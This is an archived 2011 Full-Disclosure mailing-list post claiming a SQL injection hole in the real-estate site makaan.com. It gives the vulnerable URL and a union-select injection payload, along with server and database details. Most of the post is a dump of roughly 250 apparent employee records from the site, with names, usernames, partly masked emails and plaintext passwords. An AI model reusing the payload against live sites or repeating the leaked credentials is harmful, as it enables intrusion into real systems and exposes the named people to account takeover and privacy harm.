Message-ID: <75699.85049.qm@web110107.mail.gq1.yahoo.com>
Date: Mon, 9 May 2011 07:40:09 -0700 (PDT)
From: Silic0n <science_media017@...oo.com>
To: full-disclosure@...ts.grok.org.uk
Subject: Makaan.com SQL Injection Vulnerability

Good link : http://pastebin.com/rHT56JQi



        |_) |_)         _ \         
   __|  |  |  |   __|  |   |  __ \  
 \__ \  |  |  |  (     |   |  |   | 
 ____/ _| _| _| \___| \___/  _|  _| 
                                     Mission Completed ! (Anti-Intruders)

Always reported to every big site but never patch it. For those people want this kind of Disclosure. Simple SQL INJECTION link posted here patch it as per your time ..

Special thanks to JEJE , Gaurav_raj420 , Exidous . 

Be aware of Lame People 

Host Information
        Server = Apache
        Version = 4.0.27-standard-log
        Powered by = 
        Attack Type = SQL Union Injection
        Current User = root@....168.1.222
        Current Database = makaan
        Supports Union = yes
        Union Columns = 2

Url| http://www.makaan.com/adv.php?u=M2'

Vuln: http://www.makaan.com/adv.php?u=M2'+and+1=0+ Union Select  1 ,[visible]

Tables:member
        admin_login
        mysql.user
        member
        orders
        country
        events


6:Debraj Mandal:debraj:debraj.m@...pleinteractive.in:hallabol:
5:Kumar Dharmesh:kumar:dharmeshk@...adi.com:accountdeactivated:
8:Ajay Chaudhary:ajay:ajayd@...adi.com:password:
9:Ashish Verma:ashish:ashish.v@...pleinteractive.in:maneesh:
13:Vikas Vyas:vikas:vikasv@...adi.com:password:
14:Dhriti Mahanta:dhriti:dhritim@...adi.com:password:
18:Branch Manager - Banglore:bmbanglore:bmbanglore@...adi.com:password:
19:Bhanu Prathap Naidu:bhanu:bhanu.n@...pleinteractive.in:makaannotallowed:
20:Branch Manager - Hydrabad:bmhydrabad:bmhydrabad@...adi.com:password:
21:T Basaveswar:tbasa:basaveswar.t@...pleinteractive.in:$ujatha:
26:Avinash Rai:avinash:avinashr@...adi.com:avinash5555:
27:Tarun Sharma:tarun:taruns@...adi.com:makaan123:
30:Jatinder Manchanda:jatinder:jatinderm@...adi.com:jatin173:
31:Naeem Zonbarkar:naeem:naeem.z@...pleinteractive.in:test1234:
34:Chandradeva Chaithanya K.D:chandra:chandradevac@...adi.com:password:
35:Anshuman Shreshtha:anshuman:anshumans@...adi.com:ansh8164:
38:Sahil:sahil:sahil.g@...plegroup.in:password:
39:Prem Dewedi:prem:dummy@...adi.com:password:
42:R.Narender:narenderr:narenderr@...adi.com:amanager:
43:P.Naresh:nareshp:nareshp@...adi.com:password:
44:Branch Manager - Chennai:bmchennai:dummy@...adi.com:password:
45:Sundarrajan:sundarrajanr:sundarrajanr@...adi.com:password:
68:Saaransh Singh:saaransh:dummy@...adi.com:password:
52:Arun Kumar:arun:dummy@...adi.com:password:
53:Parag Shah:parag:parag.s@...pleinteractive.in:p4p41212:
56:Yogita Vaidya:yogita:yogitav@...adi.com:nafisa:
57:Upangshu Sarangi:upangshu.s:upangshu.s@...plegroup.in:makaan123:
59:Branch Manager - Pune:bmpune:dummy@...adi.com:password:
60:Kumar Dharmesh Chandigarh:dharmeshchd:dharmesh.k@...pleinteractive.in:password:
64:Rajeev Mehta:rajeevm:rajeev.m@...pleinteractive.in:dharmesh:
63:Branch Manager - Indore:bmind:dummy@...adi.com:password:
67:Deepak Billa:deepak:deepak.b@...pleinteractive.in:rajeevmehata:
69:Pompa Mehrotra:pompa:pompa.m@...pleinteractive.in:smiti123:
72:Ajay Vikram Singh:ajays:ajay.s@...pleinteractive.in:singhajay:
96:Sanjay Sharma:sanjays:sanjay.sharma@...pleinteractive.in:password:
75:Ravindra Soni:ravindra:ravindra.s@...pleinteractive.in:password:
115:Rakesh Kumar:rakesh:rakesh.s@...pleinteractive.in:password:
79:Sandeep Shastri:sandeep:sandeep.s@...pleinteractive.in:password:
82:Sushil Kumar Sharma:sushil:sushil.s@...pleinteractive.in:password:
83:Krishna Kumar R:krishna:krishnakumar.r@...pleinteractive.in:password:
84:Gurupratap CR:gurupratap:gurupratap.r@...pleinteractive.in:password:
85:Pradeep KS:pradeep:pradeep.s@...pleinteractive.in:password:
90:Vishala Shetty:vishalas:vishala.v@...pleinteractive.in:password:
91:Neha Kinjawadekar:nehak:neha.k@...pleinteractive.in:dineshk:
92:Shadab khan- Old:shadabk:shadabk@...pleinteractive.in:shadab047:
94:Sachin Waghchore:sachinw:sachin.w@...pleinteractive.in:password:
101:Sushil Kumar Singh:sushil.s:sushil.s@...pleinteractive.in:peoplegroup:
100:Yogesh Thakur:yogesh:yogesh.t@...pleinteractive.in:bythakur:
104:Suprateek Dewal:suprateek:suprateek.d@...pleinteractive.in:password:
106:Chandra Prabha Chauhan:chandrap:chanda.c@...pleinteractive.in:password:
109:Puneet Goyal:puneet:puneet.goyal@...pleinteractive.in:password:
110:Jacob Cherian:jacob:jacob.c@...pleinteractive.in:password:
112:Kareem Per Khan:kareem:kareem.k@...pleinteractive.in:password:
113:Abhimanyu UR:abhimanyu.k:abhimanyu.k@...pleinteractive.in:password:
117:Rajagopalan Badrinarayan:rajagopalan:rajagopalan.b@...pleinteractive.in:password:
118:Augustine Joseph:augustine:augustine.j@...pleinteractive.in:password:
120:Pretti S:pretti:pretti.s@...pleinteractive.in:love:
121:Garima Soni:garima:garima.s@...pleinteractive.in:makaan1111:
125:Bindu Basanna:bindu:bindu.b@...pleinteractive.in:password:
128:Rajesh Fatnani:rajesh.f:rajesh.f@...pleinteractive.in:password:
129:dummy:dummy:dummy@...my.com:password:
132:Gurdeep Singh:gurdeep:gurdeep.s@...pleinteractive.in:mouse18:
131:Paromita Ghosh:paromita:paromila.g@...pleinteractive.in:password:
135:Darshana Gaonkar:darshana:darshana.g@...pleinteractive.in:cheu28:
136:George Mathew:gmathew:george.m@...pleinteractive.in:password:
139:Shikha Arora:shikhaa:shikha.a@...pleinteractive.in:password:
140:Ruchika Sinha:ruchikas:ruchika.s@...pleinteractive.in:password:
142:Lokesh Sharma:lokeshs:lokesh.s@...pleinteractive.in:lokes647:
145:Aman Bhalla:amanb:aman.b@...pleinteractive.in:10731073:
147:Ankur Pande:ankurp:ankur.p@...pleinteractive.in:ankur_798:
178:Bikash Sharma:bikash:bikash.s@...pleinteractive.in:password:
151:Akhand Pratap Singh:akhand:akhand.s@...pleinteractive.in:friends:
158:Rupinder Singh:rupinder:rupinder.s@...pleinteractive.in:signature:
157:Meghna Daga:meghna:meghna.d@...pleinteractive.in:monster1234:
163:Varun Verma:varunv:varun.v@...pleinteractive.in:password:
164:Amit Mishra:amitmishra:amit.mishra@...pleinteractive.in:acer2720:
165:Chetan Bhat:chetan:chetan.b@...pleinteractive.in:arjunv:
169:Tarun Chouhan:tarunchouhan:tarun.c@...pleinteractive.in:password:
170:Vijay Shinde:vijay:vijay.shinde@...pleinteractive.in:vijay007:
173:Wasim Raza:wasim:wasim.r@...pleinteractive.in:wasim1977:
175:Sayyed Imran Abbas:imran:sayyed.i@...pleinteractive.in:kaniz:
174:Mukesh Joshi:mukesh:mukesh.j@...pleinteractive.in:muku1122:
180:Amit Goyal:amitgoyal:amit.goyal@...pleinteractive.in:amit6485:
181:Debasish Roy:debasish:debasish.r@...pleinteractive.in:milonroy:
182:Shishir Shah:shishir:shishir.s@...pleinteractive.in:password:
185:Sumilita Auddy:sumilita:sumilita.a@...pleinteractive.in:sumilita:
186:Dinesh Mohan:dinesh:dinesh.mohan@...pleinteractive.in:bepositive:
189:Rajesh Jha:rajeshj:rajesh.j@...pleinteractive.in:SHONA143:
188:Manoj M:manojm:manoj.mohan@...pleinteractive.in:jaihind:
192:Branch Manager - Vijayawada:bmvijayawada:dummy@...pleinteractive.in:password:
193:Bhanu Naidu (Vijayawada):smvijayawada:bhanu.n@...pleinteractive.in:makaannotallowed:
195:Jimmy Hangsing:jimmyh:jimmy.h@...pleinteractive.in:password:
199:Subhas Chandra Ghosh:subhasg:subhas.g@...pleinteractive.in:password:
198:Gagan Vir Jain:gaganj:gagan.j@...pleinteractive.in:bipinvir:
202:Anand Jayan:anandj:anand.j@...pleinteractive.in:password:
200:Vishal Srivastava:vishals:vishal.s@...pleinteractive.in:sheeekha:
206:Girish C.K:girishk:girish.k@...pleinteractive.in:password:
207:Prithviraj M.P:prithviraj:prithviraj.p@...pleinteractive.in:password:
211:N.Suresh Babu:sureshb:suresh.b@...pleinteractive.in:client461:
210:Yakub Shareif:yakubs:yakub.s@...pleinteractive.in:password:
212:Shagant Rathinaraj:shagantr:shagant.r@...pleinteractive.in:times123:
215:Neeraj Jain:neerajj:neeraj.jain@...pleinteractive.in:password:
216:Money Dhasmanan:moneyd:money.d@...pleinteractive.in:password:
219:RAHIL AHMED:rahila:rahila@...alaxmiim.peoplelabs.com:rahilrahs:
222:Bibi Venugopal:bibiv:bibi.v@...pleinteractive.in:aayu@...20:
223:Varsha:varshak:varsha.k@...pleinteractive.in:password:
228:Anish Sapra:anish:anish.s@...pleinteractive.in:password:
226:Suma Shetty:sumas:suma.s@...pleinteractive.in:ganesha:
229:Altaf Ansari:altaf:altaf.a@...pleinteractive.in:sonal1983:
232:Sreejith V:sreejith:sreejith.v@...pleinteractive.in:activaha552:
233:Shweta Swati:shwetas:shweta.swati@...pleinteractive.in:password:
237:Deepika Suvarna:deepikas:dummy@...pleinteractive.in:cheu28:
238:Amit Pareek:amitp:amit.p@...pleinteractive.in:001946:
239:Pranay Jain:pranayj:pranay.j@...pleinteractive.in:pran7869:
240:Saurabh Madan:saurabhm:saurabh.m@...pleinteractive.in:password:
243:Deepak Joshi:deepakj:deepak.j@...pleinteractive.in:dj1984:
244:Vimal Verma:vimalv:vimal.v@...pleinteractive.in:vimal20:
246:Vineet Sharma:vineets:vineet.s@...pleinteractive.in:badboyz:
247:Abhishek Sharma:abhisheks:abhishek.s@...pleinteractive.in:password:
252:Jaimala Jakhotia:jaimalaj:jaimala.j@...pleinteractive.in:payalgunda1111:
251:Varun Soni:varuns:varun.s@...pleinteractive.in:password:
255:Shobha Sinha:shobhas:shobha.s@...pleinteractive.in:blessings:
257:Pijush Paul:pijushp:pijush.p@...pleinteractive.in:pijush123:
261:Mathew Jose:mathew:mathew.p@...pleinteractive.in:jiju1983:
262:Tarang Patel:tarangp:tarang.p@...pleinteractive.in:tarang:
263:Dhwanit Malvi:dhwanitm:dhwanit.m@...pleinteractive.in:6gHG6dbjHGj090:
264:Sunayana Agarwal:sunayana:sunayana.a@...pleinteractive.in:271985:
267:C.Balaji:balaji:balaji.c@...pleinteractive.in:bala156:
268:Ashish Sharma-old:ashishs:ashish.s@...pleinteractive.in:aanandi:
272:Ekta Lakhi:ektal:ekta.l@...pleinteractive.in:ekta9999:
271:Dhwanit Malvi:dhwanit:dhwanit.m@...pleinteractive.in:6gHG6dbjHGj090:
278:Mashkoor Ahmad:mashkoor:mashkoor.a@...pleinteractive.in:P@...0rd:
277:Binay Bhatera:binayb:binay.b@...pleinteractive.in:password:
280:Sandeep Arora:sandeepa:sandeep.a@...pleinteractive.in:people09:
279:Narahari Bora Reddy:narahari:narahari.r@...pleinteractive.in:password:
285:Madhusudan Reddy:madhusudan:madhusudan.r@...pleinteractive.in:sas:
286:Abhijeet Bisoi:abhijeetb:abhijeet.b@...pleinteractive.in:armaanabhi:
287:Vinod VS:vinods:vinod.s@...pleinteractive.in:vinod:
288:Santosh Sharma:santoshs:santosh.sharma@...pleinteractive.in:password:
291:Praveen Marcus:praveenm:praveen.m@...pleinteractive.in:password:
292:Rajesh Desai:rajeshd:rajesh.d@...pleinteractive.in:password:
298:Arjun Yadav:arjun:arjun.y@...pleinteractive.in:password:
297:Geetanjali Bhardwaj:geetanjali:geetanjali.b@...pleinteractive.in:geetanjali:
299:Saif Ahmed:saifa:saif.a@...pleinteractive.in:admin:
300:Makaan Check 1:makaancheck1:dummy@...aan.com:wordpass:
304:Sandip Menon:sandipm:sandip.m@...pleinteractive.in:password:
305:Amit Gupta:amit:amit.g@...pleinteractive.in:active:
309:Sanjay Dadhich:sanjayd:sanjay.d@...pleinteractive.in:dadhich76:
311:Radheshyam S. Kushwaha:radheshyam:radheshyam.k@...pleinteractive.in:password:
314:Neha Chadha:nehachadha:neha.c@...pleinteractive.in:password:
316:Amit Sinha:amits:amit.s@...pleinteractive.in:password:
317:Vikas Srivastav:vikass:vikas.s@...pleinteractive.in:password:
320:Syed Sakir Hussain:syedam:syed.h@...pleinteractive.in:hindustan:
323:Umesh Hosamani:umeshh:umesh.h@...pleinteractive.in:hosamani99:
324:Augustine Joseph-AM:augustineam:augustine.j@...pleinteractive.in:password:
327:Devendra Kumar Yadav:devendray:devendra.y@...pleinteractive.in:sondeva:
328:Hitesh Patel:hiteshp:hitesh.p@...pleinteractive.in:login.12:
331:Rahul Subnani:rahuls:rahul.s@...pleinteractive.in:defence123:
333:Rishi Gupta:rishig:dummy@...my.com:asuk78j:
335:Manish Shringarpure:manish:manish.s@...pleinteractive.in:password:
336:Anshuman Shreshtha:anshumans:anshuman.s@...pleinteractive.in:aspenash:
338:Santosh H Naik:santoshn:santosh.n@...pleinteractive.in:hanumanth:
341:Tariq Surty:tariqs:tariq.s@...pleinteractive.in:sharifa6350:
342:Garima Kumari:garimak:garima.k@...pleinteractive.in:southdelhi:
345:Raghavendra Prasad:raghavendra:raghavendra.p@...pleinteractive.in:bujji:
347:Shyamle Pasi:shyamle:shyamle.p@...pleinteractive.in:password:
346:Siddhesh Shroff:siddheshs:siddhesh.s@...pleinterctive.in:password:
350:Roopesh R:roopeshr:roopesh.r@...pleinteractive.in:password:
351:MohammadS:msaleem:mohammad.s@...pleinteractive.in:msaleem:
355:Praveen Kumar Singhal:praveens:praveen.s@...pleinteractive.in:singhal1:
354:Ashish Sharma:ashishsh:ashish.s@...pleinteractive.in:password:
356:Syed Mubashshir:syedm:syed.m@...pleinteractive.in:password:
359:Ramesh Gupta:rameshg:ramesh.g@...pleinteractive.in:computer:
360:Anant Prakash:anantp:anant.p@...pleinteractive.in:ap82:
363:Saurabh Mehta:saurabh:saurabh.m@...pleinteractive.in:password:
362:Varsha Sharma:varshas:varsha.sharma@...pleinteractive.in:password:
366:Ishan Kumar:ishank:ishan.k@...pleinteractive.in:narayan27:
367:Satpal Singh:satpals:satpal.s@...pleinteractive.in:satpal24121:
368:Punita Gava:punitag:punita.g@...pleinteractive.in:12102006:
370:Parag Prabhu:paragp:parag.p@...pleinteractive.in:password:
371:Baiju Purushotham:baiju:baiju.p@...pleinteractive.in:password:
374:Mohit Joshi:mohitj:mohit.j@...pleinteractive.in:password:
375:Kisan Silan:kisans:kisan.s@...pleinteractive.in:g..rajan:
379:Chitra Mehra:chitram:chitra.m@...pleinteractive.in:people20:
380:Parmit Kaur Bharaj:parmitk:parmit.k@...pleinteractive.in:password:
382:Gautam Bansal:gautamb:gautam.b@...pleinteractive.in:easyshop1:
383:Afreen Shaikh:afreens:afreen.s@...pleinteractive.in:afreens:
384:Rupesh CRM1:rupeshcrm1:dummy@...aan.com:rupeshcrm:
385:Rupesh CRM2:rupeshcrm2:dummy@...aan.com:rupeshcrm:
390:Ankur Bhargava:ankurb:ankur.bhargava@...pleinteractive.in:silentassasin:
391:Mritunjay Kumar Singh:mritunjay:mritunjay.s@...pleinteractive.in:ratansarai07:
394:Karan M-SM:karanmsm:karan.m@...pleinteractive.in:passiword:
395:Sangram Priyadarsan-AM:sangramam:sangram.p@...pleinteractive.in:password:
396:Sangram Priyadarsan-SM:sangramsm:sangram.p@...pleinteractive.in:password:
397:Mohammed Elias:mohammede:mohammed.e@...pleinteractive.in:password:
399:Pranav Jha:pranavj:pranav.j@...pleinteractive.in:pranovsjha:
402:Muhammad Javeed:muhammadj:muhammad.j@...pleinteractive.in:muhammad:
404:Shweta Sharma:shwetash:shweta.sharma@...pleinteractive.in:9329177195:
405:Ritu Batra:ritub:ritu.b@...pleinteractive.in:amit2313:
409:Mohammed Shoiab:mohammeds:mohammed.s@...pleinteractive.in:mohammed:
411:Rohan Sharma:rohan:rohan.s@...pleinteractive.in:rohan1982:
410:Gaganjot Johar:gaganjotj:gaganjot.j@...pleinteractive.in:hiteshi1:
413:SDE1:sde1:sde1@...il.com:12345:
418:Ajay Sharma:ajaysharma:ajay.sharma@...pleinteractive.in:kamlesh:
417:Shadab Khan- New:shadabkhan:shadab.khan@...pleinteractive.in:alamkhan:
421:Vatsala Eshwarappa:vatsala:vatsala.e@...pleinteractive.in:makaan123:
422:Umme Najma:najma:umme.n@...pleinteractive.in:liya:
435:Sushma kaur:sushma:sushma.k@...pleinteractive.in:surinder:
426:Shahab Syed:shahabs:shahab.s@...pleinteractive.in:hackfuck12!@:
427:Tonmoy Mukherjee:tonmoym:tonmoy.m@...pleinteractive.in:tonmoy:
429:Prashant Kumar:prashantk:prashant.k@...pleinteractive.in:password:
431:Vinod Yadav:vinody:vinod.y@...pleinteractive.in:vimanmanvi:
436:Praveen Kumar Singh:praveenks:praveen.s@...pleinteractive.in:bond007:
438:Prasad RV:prasadrv:prasadrv.reddy@...il.com:password:
433:Dhriti Mahanta:dhritim:dhriti.m@...pleinteractive.in:password:
441:Dabish Ahmed:dabisha:dabish.a@...pleinteractive.in:121999:
443:Alok Chakravarty:alokc:alok.c@...pleinteractive.in:heartbeat:
442:Shailesh Kotian:shaileshk:shailesh.k@...pleinteractive.in:microsoft:
446:Saifuddin Savliwala:saifuddins:saifuddin.s@...pleinteractive.in:mkn123:
448:Rahul Pawar:rahulp:rahul.p@...pleinteractive.in:lionking:
449:Satyajit Sahoo:satyajits:satyajit.s@...pleinteractive.in:satya123:
450:Sachin Gorde:saching:sachin.gorde@...pleinteractive.in:password:
456:Om Sharan Pandey:omsharanp:omsharan.p@...pleinteractive.in:password:
457:Archit S Mishra:architm:archit.m@...pleinteractive.in:archies7:
459:Tahir Ahmed-AM:tahira:tahir.a@...pleinteractive.in:tayyab77:
460:Saayali Sachin Kadvekar:saayalik:saayali.k@...pleinteractive.in:12031986:
464:Debashis Das:debashisd:debashis.d@...pleinteractive.in:password:
465:Nishant Pyasi:nishantp:nishant.p@...pleinteractive.in:ashu4824:
467:Praveen Kumar K:praveenkk:kumar.p@...pleinteractive.in:mkn123:
468:M.Ravi Kumar:ravik:ravi.kumar@...pleinteractive.in:password:
470:Amitk:amitk:amit.k@...pleinteractive.in:password:
471:Niranjan Kumar:niranjank:niranjan.k@...pleinteractive.in:43729211:
475:Nishant Singh Patel:nishants:nishant.p@...pleinteractive.in:password:
476:Chirag Edvankar:chirage:chirag.e@...pleinteractive.in:playboy:
477:Heena Iqbal:heenai:heena.i@...pleinteractive.in:hi4:
480:Manoj Varma:manojv:manoj.v@...pleinteractive.in:mkn12345:
481:Sreejith Radhakrishnan:sreejithr:sreejith.r@...pleinteractive.in:password:
488:Sachin Lobhe:sachinl:sachin.l@...pleinteractive.in:rohini:
483:Vikas Humbati:vikash:vikas.h@...pleinteractive.in:vijetasai:
486:Rohit Shukla:rohits:rohit.s@...pleinteractive.in:gurgaon123:
487:Reena S Jagwani:reenaj:reena.j@...pleinteractive.in:mkn1234:
492:Mukesh Gamre:mukeshg:mukesh.g@...pleinteractive.in:makaan.com:
493:Tauqeer Shaikh:tauqeers:tauqeer.s@...pleinteractive.in:tauqeer21:
499:Ojesh Salia:ojeshs:ojesh.s@...pleinteractive.in:makaan123:
498:Brijesh Singh:brijeshs:brijesh.s@...pleinteractive.in:brijesh2011:
502:Sumit Chauhan:sumitchauhan:sumit.chauhan@...pleinteractive.in:sumit1984:
503:Nitin Senan:nitins:nitin.s@...pleinteractive.in:neha:
507:Rahul Mehta:rahulm:rahul.m@...pleinteractive.in:sairam80:

Content of type "text/html" skipped

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Powered by blists - more mailing lists